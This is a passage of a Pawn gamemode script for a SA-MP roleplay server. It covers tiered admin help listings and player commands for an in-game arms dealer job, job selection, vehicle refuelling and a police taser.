					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Hoster Level 3 ***  /ml, /fly, /vturbo, /setcolor, /atuning, /setgravity, /unsetcolor");}  }
				else if(strcmp(x_nr,"9",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 9) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Hoster Level 6 ***  /nopm, /setjob, /nofind, /agl, /bigears, /firegun, /togadminw, /vjump");}  }
				else if(strcmp(x_nr,"10",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 10) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Assistant ***  /givepre, /changenick, /aadmins, /gmt, /agivemats, /suck, /makehelperoffline, /unbanip");
					SCM(playerid, COLOR_GRAD2,"*** Assistant ***  /muteall, /unipsban, /banlist, /agivedr, /sucker, /runpb, /msgall, /givesrp, /givegrapes");
					SCM(playerid, COLOR_GRAD2,"*** Assistant ***  /sexy, /pee, /fakepee, /weatherall, /tod, /dmember, /giverespect, /giveilpoints, /givebuff");
					SCM(playerid, COLOR_GRAD2,"*** Assistant ***  /givefp, /makeleaderoffline, /wankoff, /suckfm, /wank, /aglall, /togglepb, /giveliquors");
					SCM(playerid, COLOR_GRAD2,"*** Assistant ***  /musicall, /headshot, /asponsers, /resetref, /ulgps, /permission, /lockveh");}  }
				else if(strcmp(x_nr,"11",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 11) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** CM Manager ***  /setrep, /giverep, /givepoint, /givestaffpoint, /givehday, /betshop, /checkcode, /givecoins");
					SCM(playerid, COLOR_GRAD2,"*** CM Manager ***  /givedis, /asuck, /assuck, /givehlic, /unblockip, /nwarn, /sptb, /asellcar, /givemoney");
					SCM(playerid, COLOR_GRAD2,"*** CM Manager ***  /unwarn, /blockip, /notp, /nogoto, /clearallfp, /skin, /givevip, /allskills, /givehackpoints");}  }
				else if(strcmp(x_nr,"12",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 12) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /movehouse, /exph, /ebiz, /movebiz, /movesbiz, /asellsbiz, /asellhouse, /asellbiz, /ranick, /togglepoll, /reset");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /goldforall, /respectforall, /moneyforall, /boxforall, /levelforall, /execute, /mlr, /gotopb, /givebox, /changepass");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /givelevel, /makeadminoffline, /sponsorhelp, /givesday, /levelall, /payday, /stopmlr, /anick, /dpoll, /changenickoffline");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /edit, /ppin, /login, /unbanall, /demotealladmins, /demoteallhelpers, /sellallsbizs, /publishpoll, /togglesnow");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /setgold, /givegold, /anticheat, /moneyall, /respectall, /sellallbizs, /poll, /changecode, /desync, /ca");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /setstaffpoint, /setpoint, /reporton, /reportoff, /demoteallleaders, /sellallhouses, /crash, /makercode, /setcoin");
					SCM(playerid, COLOR_GRAD2,"*** CM Founder ***  /cnn, /setstat, /makeclanleader, /lockcommand, /setmoney, /makesponsoroffline, /ao, /dcode, /bugs, /togsecurity");}  }
				else if(strcmp(x_nr,"13",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 13) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** CM Scripter ***  /svname, /svpassword, /deleteaccounts, /sendquery, /spam, /server");
					SCM(playerid, COLOR_GRAD2,"*** CM Scripter ***  /saveaccounts, /restart, /stoprestart, /clearlog, /savecc");
						}
						}
			 else
			 SCM(playerid, COLOR_YELLOW2, "Error: Invalid admin level.");
			 return 1; }
		  else
		  SCM(playerid, COLOR_YELLOW2, "Error: You are not admin.");
		  return 1; }
	   return 1; }


	//end rep
		if(strcmp(cmd,"/materials",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pJob] != 9)
				{
					SendMessage(playerid,COLOR_GREY,"** You are not an Arms Dealer.");
					return 1;
				}
				if ( PlayerInfo[playerid][pMatsLic] == 0)
				{
					SCM(playerid, COLOR_LIGHTBLUE, "You haven't a Material License.");
					return 1;
				}
				new x_nr[256];
				x_nr = strtok(cmdtext, idx);
				if(!strlen(x_nr)) {
					SendMessage(playerid, COL_SYN, "Syntax: /materials [name]");
					SendMessage(playerid, COLOR_CRS3, "Available names: Get, Deliver.");
					return 1;
				}
				if(strcmp(x_nr,"get",true) == 0)
				{
					if(PlayerToPoint(3.0,playerid,2770.6973,-1628.4293,12.1775))
					{
					new level = PlayerInfo[playerid][pMatsSkill];
						if(MatsHolding[playerid] >= 10 && level < 50)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You can't hold any more Materials Packages.");
							return 1;
						}
						else if(MatsHolding[playerid] >= 20 && level < 99 && level >= 50)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You can't hold any more Materials Packages.");
							return 1;
						}
						else if(MatsHolding[playerid] >= 30 && level < 199 && level >= 100)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You can't hold any more Materials Packages.");
							return 1;
						}
						else if(MatsHolding[playerid] >= 40 && level < 299 && level >= 200)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You can't hold any more Materials Packages.");
							return 1;
						}
						else if(MatsHolding[playerid] >= 50 && level >= 300)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You can't hold any more Materials Packages.");
							return 1;
						}
						if(GetPlayerPool(playerid) < 10)
						{
						SCM(playerid,COLOR_LIGHTRED,"You haven't 10$.");
						return 1;
						}
						if(PlayerInfo[playerid][pMatsSkill] < 50)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You bought 10 Materials Packages for $10.");
							GivePlayerPool(playerid, -10);
							MatsHolding[playerid] = 10;
							MatGet[playerid] = 1;
							SetTimerEx("matgett", 60000, 0, "d", playerid);
						}
						else if(level >= 50 && level < 100)
						{
						SCM(playerid,COLOR_LIGHTBLUE,"You bought 20 Materials Packages for $20.");
						GivePlayerPool(playerid, -20);
						MatsHolding[playerid] = 20;
						MatGet[playerid] = 1;
						SetTimerEx("matgett", 60000, 0, "d", playerid);
						}
						else if(level >= 100 && level < 200)
						{
						SCM(playerid,COLOR_LIGHTBLUE,"You bought 30 Materials Packages for $25.");
						GivePlayerPool(playerid, -25);
						MatsHolding[playerid] = 60;
						MatGet[playerid] = 1;
						SetTimerEx("matgett", 60000, 0, "d", playerid);
						}
						else if(level >= 200 && level < 300)
						{
						SCM(playerid,COLOR_LIGHTBLUE,"You bought 40 Materials Packages for $35.");
						GivePlayerPool(playerid, -35);
						MatsHolding[playerid] = 80;
						MatGet[playerid] = 1;
						SetTimerEx("matgett", 60000, 0, "d", playerid);
						}
						else if(level >= 300)
						{
						SCM(playerid,COLOR_LIGHTBLUE,"You bought 50 Materials Packages for $24.");
						GivePlayerPool(playerid, -24);
						MatsHolding[playerid] = 100;
						MatGet[playerid] = 1;
						SetTimerEx("matgett", 60000, 0, "d", playerid);
						}

					}
					else
					{
						SendMessage(playerid, COLOR_SINA3, "You are not at the Materials Package Building in Los Santos.");
						return 1;
					}
				}
				else if(strcmp(x_nr,"deliver",true) == 0)
				{
					if(PlayerToPoint(3.0,playerid,1712.9865,913.2946,10.8203))
					{
						if(MatsHolding[playerid] > 0)
						{
							if(MatGet[playerid] == 1) {
							new stramir[512];
							GetPlayerName(playerid, sendername, sizeof(sendername));
							KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
							ABroadCast(COLOR_GG,stramir,1);
							}
							new payout = (50)*(MatsHolding[playerid]);
							format(string, sizeof(string), "The Factory Gave You %d Materials from your %d Packages.", payout, MatsHolding[playerid]);
							SendMessage(playerid, COLOR_SINA3, string);
							PlayerInfo[playerid][pMats] += payout;
							SaveKonVal(playerid, "pMats", PINFO[playerid][pMats]);
							if(PINFO[playerid][pMatsSkill] < 301) {PlayerInfo[playerid][pMatsSkill] ++; SaveKonVal(playerid, "pMatsSkill", PINFO[playerid][pMatsSkill]);}
							MatsHolding[playerid] = 0;
							if(PlayerInfo[playerid][pMatsSkill] == 50)
							{ SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill is now Level 2, you can now deliver for more packages."); }
							else if(PlayerInfo[playerid][pMatsSkill] == 100)
							{ SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill is now Level 3, you can now deliver for more packages with lower price."); }
							else if(PlayerInfo[playerid][pMatsSkill] == 200)
							{ SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill is now Level 4, you can now deliver for more packages with lower price."); }
							else if(PlayerInfo[playerid][pMatsSkill] == 300)
							{ SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill is now Level 5, you can now deliver for more packages with lower price."); }

						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You haven't any Materials Packages.");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_SINA3, "You are not at the Willowfield Gun Factory.");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_SINA3, "Invalid action name");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/sellgun",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pJob] != 9)
				{
					SendMessage(playerid,COLOR_LIGHTBLUE,"You are not an Arms Dealer.");
					return 1;
				}
				if(PlayerInfo[playerid][pJailTime] >= 1)
				{
				SCM(playerid,COLOR_YELLOW, "You can't sell gun when you are in jail."); return 1;
				}
				new x_weapon[256];
				new money;
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, CRISTIAN, "________________________________________________");
					SendMessage(playerid, COLOR_WHITE, "*** Sell Guns ***");
					SendMessage(playerid, COL_SYN, "Syntax: /sellgun <Playerid/PartOfName> <WeaponName> <price>");
					SendMessage(playerid, COLOR_CRS3, "Weapons: SDpistol(200), Deagle(300), Shotgun(400), AK47(500), M4(550), Rifle(600)");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
					if(giveplayerid == playerid)
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You can not sell a gun to yourself.");
					return 1;
					}
					if(EventPlayer[giveplayerid] == 1)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: You can't sell any guns to this player.");
				return 1;
				}
						x_weapon = strtok(cmdtext, idx);
						if(!strlen(x_weapon))
						{
							SendMessage(playerid, CRISTIAN, "________________________________________________");
							SendMessage(playerid, COLOR_WHITE, "*** Sell Guns ***");
							SendMessage(playerid, COL_SYN, "Syntax: /sellgun <Playerid/PartOfName> [WeaponName] [price]");
							SendMessage(playerid, COLOR_CRS3, "Weapons: SDpistol(200), Deagle(300), Shotgun(400), AK47(500), M4(550), Rifle(600)");
							return 1;
						}
						if(PlayerInfo[giveplayerid][pGunLic] == 0) { SCM(playerid,COLOR_WHITE, "That player dont have weapon license!"); return 1; }
						if(PlayerInfo[giveplayerid][pJailTime] >= 1)
						{
						SCM(playerid,COLOR_YELLOW, "You can't sell gun to jailed pirsons."); return 1;
						}
					}
					if(strcmp(x_weapon,"sdpistol",true) == 0) { if(PlayerInfo[playerid][pMats] >= 200) { weapon[giveplayerid] = 23; Mat[giveplayerid] = 200; ammo[giveplayerid] = 100; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"deagle",true) == 0) { if(PlayerInfo[playerid][pMats] >= 300) { weapon[giveplayerid] = 24; Mat[giveplayerid] = 300; ammo[giveplayerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"shotgun",true) == 0) { if(PlayerInfo[playerid][pMats] >= 400) { weapon[giveplayerid] = 25; Mat[giveplayerid] = 400; ammo[giveplayerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"ak47",true) == 0) { if(PlayerInfo[playerid][pMats] >= 500) { weapon[giveplayerid] = 30; Mat[giveplayerid] = 500; ammo[giveplayerid] = 250; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"m4",true) == 0) { if(PlayerInfo[playerid][pMats] >= 550) { weapon[giveplayerid] = 31; Mat[giveplayerid] = 550; ammo[giveplayerid] = 250; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"rifle",true) == 0) { if(PlayerInfo[playerid][pMats] >= 600) { weapon[giveplayerid] = 33; Mat[giveplayerid] = 600; ammo[giveplayerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else { SendMessage(playerid,COLOR_GREY,"Invalid Weapon name!"); return 1; }
					tmp = strtok(cmdtext, idx);
					money = strval(tmp);
					new money2 = GetPlayerPool(giveplayerid);
					if(money > 20000 || money < 1) { SCM(playerid,COLOR_WHITE,"Invalid Price,minimum allowed is $1 and maximum $20,000."); return 1; }
					if (ProxDetectorS(5.0, playerid, giveplayerid))
					{
					if(money2 < money)
					{
					format(string, sizeof(string), "That player just have $%s", FormatNumber(money2));
					SendMessage(playerid, COLOR_LIGHTBLUE, string);
					return 1;
					}
						if(Tofang[giveplayerid] == playerid) { SCM(playerid,COLOR_WHITE, "You already offered to this player!"); return 1; }
						GunPricee[giveplayerid] = money;
						Tofang[giveplayerid] = playerid;
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						format(string, sizeof(string), "You have offered %s, a %s with %d ammo, for $%s money.", giveplayer,x_weapon, ammo[giveplayerid], FormatNumber(GunPricee[giveplayerid]));
						SendMessage(playerid, COLOR_LIGHTBLUE, string);
						format(string, sizeof(string), "%s has offered you a %s with %d ammo for $%s.(Use: /[acc]ept gun %d to accept this)", sendername,x_weapon, ammo[giveplayerid], FormatNumber(GunPricee[giveplayerid]),playerid);
						SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
					}
					else
					{
						SendMessage(playerid, COLOR_GRAD1, "That player isnt near you.");
						return 1;
					}
				}
				else
				{
					format(string, sizeof(string), "that player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}
			}
			return 1;
		}

	// sellmaterials test :| sina :D oalala :|

	// /                      CreateGun :| TESTING

	if(strcmp(cmd,"/creategun",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pJob] != 9)
				{
					SendMessage(playerid,COLOR_LIGHTBLUE,"You are not a(n) Arms Dealer.");
					return 1;
				}
				if(PlayerInfo[playerid][pJailTime] >= 1)
				{
				SCM(playerid,COLOR_YELLOW, "You can't create gun when you are in jail."); return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
				SCM(playerid,COLOR_YELLOW, "You can't create gun when you are in vehicle."); return 1;
				}
				if(EventPlayer[playerid] == 1)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: You can't create any gun when you are in event");
				return 1;
				}
				new x_weapon[256];
				x_weapon = strtok(cmdtext, idx);
				if(!strlen(x_weapon))
						{
							SendMessage(playerid, CRISTIAN, "________________________________________________");
							SendMessage(playerid, COLOR_WHITE, "*** Create Guns ***");
							SendMessage(playerid, COL_SYN, "Syntax: /creategun [WeaponName]");
							SendMessage(playerid, COLOR_CRS3, "Weapons: SDPistol(200), Deagle(300), Shotgun(400), AK47(500), M4(550), Rifle(600), CombatShotgun(800)");
							return 1;
						}
					if(PlayerInfo[playerid][pGunLic] == 0) { SCM(playerid,COLOR_WHITE, "you dont have weapon license!"); return 1; }
					if(strcmp(x_weapon,"sdpistol",true) == 0) { if(PlayerInfo[playerid][pMats] >= 200) { weapon2[playerid] = 23; Mat2[playerid] = 200; ammo2[playerid] = 100; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"deagle",true) == 0) { if(PlayerInfo[playerid][pMats] >= 300) { weapon2[playerid] = 24; Mat2[playerid] = 300; ammo2[playerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"shotgun",true) == 0) { if(PlayerInfo[playerid][pMats] >= 400) { weapon2[playerid] = 25; Mat2[playerid] = 400; ammo2[playerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"ak47",true) == 0) { if(PlayerInfo[playerid][pMats] >= 500) { weapon2[playerid] = 30; Mat2[playerid] = 500; ammo2[playerid] = 250; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"m4",true) == 0) { if(PlayerInfo[playerid][pMats] >= 550) { weapon2[playerid] = 31; Mat2[playerid] = 550; ammo2[playerid] = 250; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"rifle",true) == 0) { if(PlayerInfo[playerid][pMats] >= 600) { weapon2[playerid] = 33; Mat2[playerid] = 600; ammo2[playerid] = 50; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else if(strcmp(x_weapon,"combatshotgun",true) == 0) { if(PINFO[playerid][pMatsSkill]<300){Error(playerid, "Error: Your skill isn't high enough to create Combat.") return 1;} if(PlayerInfo[playerid][pMats] >= 800) { weapon2[playerid] = 27; Mat2[playerid] = 800; ammo2[playerid] = 75; } else { SendMessage(playerid,COLOR_GREY,"   Not enough Materials for that Weapon!"); return 1; } }
					else { SendMessage(playerid,COLOR_GREY,"Invalid Weapon name!"); return 1; }


						GetPlayerName(playerid, sendername, sizeof(sendername));
						format(string, sizeof(string), "%s created a(n) %s from materials.", sendername,x_weapon);
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						GivePlayerKolang(playerid,weapon2[playerid],ammo2[playerid]);
						PlayerInfo[playerid][pMats] -= Mat2[playerid];
						SaveKonVal(playerid, "pMats", PINFO[playerid][pMats]);

			}
			return 1;
		}


			//---------------
			//---------------
		if(strcmp(cmd, "/getjob", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] == 0)
				{
					if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,359.5408,206.7693,1008.3828))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Detective.");
						SendMessage(playerid, COLOR_LIGHTBLUE, "Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 1;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,362.0605,173.7425,1008.3828))
					{
					if (PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3) { SCM(playerid, COLOR_RED,"You can't Join a Lawyer but you are a Cop."); return 1; }
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Lawyer.");
						SendMessage(playerid, COLOR_LIGHTBLUE, "Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 2;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,323.507873,1117.880981,1083.882812))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Drugs dealer.");
						SendMessage(playerid, COLOR_LIGHTBLUE, "Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 4;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,2515.572265,-1473.751220,24.009740))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Car jacker.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 5;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,1658.4885,2199.7075,10.8203))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Car mechanic.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 7;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,1765.061889,-2031.958862,14.048107) || PlayerToPoint(3.0, playerid,1909.430297,2351.376453,10.979915))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Bus driver.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 14;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,-77.235397,-1136.455932,1.078125))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Trucker.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 16;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,-382.6660,-1426.5121,26.2410) || PlayerToPoint(3.0, playerid,-1061.110107,-1195.576660,129.728820))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Farmer.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 18;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,2766.482177,-1610.956542,10.921875 ))
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now an Arms Dealer.");
						SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
						PlayerInfo[playerid][pJob] = 9;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,2077.161376,-2006.656250,13.546875))
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You are now a Garbage man.");
					SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
					PlayerInfo[playerid][pJob] = 20;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,2104.904541,-1806.644897,13.554687))
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You are now a Pizza Boy.");
					SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
					PlayerInfo[playerid][pJob] = 21;
					if(IsInFaction(playerid)) {}
					else {
					PlayerInfo[playerid][cSkin] = 155;
					SaveKonVal(playerid, "cSkin", 155);
					}
					if(IsInFaction(playerid)) {}
					else {SetPlayerSkin(playerid, PINFO[playerid][cSkin]);}
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,1610.875122,-1893.910522,13.546875))
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You are now a Sweeper.");
					SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
					PlayerInfo[playerid][pJob] = 22;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,-13.077162, 47.826896, 3.117187))
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You are now a Liquor Dealer.");
					SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
					PlayerInfo[playerid][pJob] = 23;
					}
					else if (GetPlayerState(playerid) == 1 && PlayerToPoint(3.0, playerid,253.998931, 1451.826293, 10.585937))
					{
					SCM(playerid,COLOR_LIGHTBLUE,"You are now an Oil Dealer.");
					SCM(playerid,COLOR_LIGHTBLUE,"Use /jobhelp to see job help.");
					PlayerInfo[playerid][pJob] = 24;
					}
					else
					{
						return 1;
					}
					SaveKonVal(playerid, "pJob", PINFO[playerid][pJob]);
				}
				else
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You already have a job quit from your job first(use /quitjob)");
				}
			}//not connected
			return 1;
		}
		if(strcmp(cmd, "/fill", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(!IsPlayerInAnyVehicle(playerid))
			{
			SCM(playerid,COLOR_SINA3,"You are not in any vehicle.");
			return 1;
			}
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_SINA3,"You are not driver of this vehicle.");
				if(IsAtGasStation(playerid))
				{
					new carid = GetPlayerVehicleID(playerid);
					if(EngineSTATE[carid] == 1)
					{
					SCM(playerid,COLOR_LIGHTBLUE,"First Stop the engine of your vehicle.");
					return 1;
					}
						if(Benzin[idcar] <= 99)
						{
							GameTextForPlayer(playerid,"~w~~n~~n~~n~~n~~n~~n~~n~~n~~n~Re-Fueling Vehicle, please wait",2000,3);
							SetTimerEx("Fillup",RefuelWait,0,"i",playerid);
							Refueling[playerid] = 1;
							TogglePlayerControllable(playerid, 0);
						}
						else {
						GameTextForPlayer(playerid,"~r~~n~~n~~n~~n~~n~~n~~n~~n~~n~Gas can is full",2000,3);
						return 1; }
				}
				else {
				SCM(playerid,COLOR_GREY,"** You're not at a Gas Station!");
				return 1; }
			}
			return 1;
		}
		if(strcmp(cmd, "/fillcar", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pCanistra] >= 1)
				{
					if(PlayerInfo[playerid][pCanistra] >= 1)
					{
						if(Benzin[gLastCar[playerid]] < 81)
						{
							SCM(playerid, COLOR_WHITE, "** You filled your car with 20 percent Fuel from your Gas Can.");
							Benzin[gLastCar[playerid]] += 20;
							PlayerInfo[playerid][pCanistra] = 0; SaveKonVal(playerid, "pCanistra", 0);
						}
						else
						{
							SCM(playerid, COLOR_GREY, "** Your Car still got enough Fuel to drive with !");
							return 1;
						}
					}
					else
					{
						SCM(playerid, COLOR_CRS3, "** You haven't gas can.");
						return 1;
					}
				}
				else
				{
					SCM(playerid, COLOR_GREY, "** You have no Fuel left in your Gas Can !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/tazer", true) ==0 || strcmp(cmd, "/ta", true) ==0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{
					if(IsPlayerInAnyVehicle(playerid))
					{
						SendMessage(playerid, COLOR_GREY, "   Cannot use this while being in the Car!");
						return 1;
					}
					new suspect = GetClosestPlayer(playerid);
					if(IsPlayerConnected(suspect))
					{
						if(PlayerCuffed[suspect] > 0)
						{
							SendMessage(playerid, COLOR_GREY, "   Player already Cuffed!");
							return 1;
						}
						if(GetDistanceBetweenPlayers(playerid,suspect) < 5)
						{
							if(gTeam[suspect] == TEAM_COP)
							{
								SendMessage(playerid, COLOR_GREY, "   Cannot Tazer Cops / FBI!");
								return 1;
							}
							if(IsPlayerInAnyVehicle(suspect))
							{
								SendMessage(playerid, COLOR_GREY, "   Suspect is in a Car, get him out first!");
								return 1;
							}
							GetPlayerName(suspect, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new randt = random(4)+1;
							if(randt == 1)
							{
								format(string, sizeof(string), "%s shoots with %s Tazer at %s, but missed.", sendername , (PINFO[playerid][pSex]==1)?("his"):("her"),giveplayer);
								ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							else
							{
								format(string, sizeof(string), "* You were Tazed by %s for 20 seconds.", sendername);
								SendMessage(suspect, COLOR_WHITE, string);
								format(string, sizeof(string), "* You Tazed %s for 20 seconds.", giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "%s shoots with %s Tazer at %s and tazed %s.", sendername , (PINFO[playerid][pSex]==1)?("his"):("her"),giveplayer, (PINFO[suspect][pSex]==1)?("him"):("her"));
								ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
								GameTextForPlayer(suspect, "~r~Tazed", 2500, 3);
								TogglePlayerControllable(suspect, 0);
								LoopingAnim(suspect, "CRACK","crckdeth2", 4.0,1,0,0,0,0);
								PlayerCuffed[suspect] = 1;
								PlayerCuffedTime[suspect] = 20;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "   No-one near you!");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a Cop / fbi!");
				}
			}//not connected
			return 1;
		}
		//-------------------------------------------------------------------------------------

			if(strcmp(cmd, "/covername", true) == 0) {
